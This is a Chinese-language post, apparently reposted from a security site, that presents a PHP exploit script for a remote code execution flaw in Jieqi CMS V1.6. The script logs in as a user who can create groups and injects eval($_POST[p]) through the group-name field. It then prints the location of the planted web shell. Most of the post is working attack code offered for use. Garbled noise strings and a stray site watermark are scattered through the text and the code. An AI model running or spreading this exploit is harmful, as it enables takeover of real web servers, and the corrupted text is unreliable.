Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

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杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


" a$ u# |# j! M# {该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
, n! a4 b( W# W" I7 E4 w  W& E 需要有一个能创建圈子的用户。
# Y, A6 S5 r1 e2 p
1 p4 W  q' J% m; W<?php

print_r('
: Y. @6 H4 e- X" }+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
( K' r* V/ f' T9 P, q6 hby flyh4t
3 P4 ^7 \% M" v, mmail: phpsec at hotmail dot com
team: http://www.wolvez.org
; d& |8 E0 Q; @+---------------------------------------------------------------------------+
'); /**
- w# n# \& ?8 F+ X. v% d * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
" p# K# b, X0 p' M, ]* ?. epath:      path to jieqicms
uasename:  a username who can create group
2 f$ B6 \+ R: f# R, \' IExample:
9 I% V0 v- V* P: G* x2 \" Nphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
& u1 m) |$ D# T/ y+---------------------------------------------------------------------------+
; _# ?/ A/ K0 B, R* D3 n0 N'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"

1 K# y" m/ e! _3 V+ k+ Z! m8 V'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
  {4 m4 F6 l# S/ l& Z7 B& v- x-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"
0 ?1 |, v, L& R1 C! ]
" I% v9 V- w" V8 o" ?" b1
-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"

" l* c* m! o9 J( I2 K9 ^1
-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"

1
-----------------------------23281168279961--
. j6 U8 d: ^. ^" u/ O'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

# [3 L# i. p6 ^6 F; p8 o" Jpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;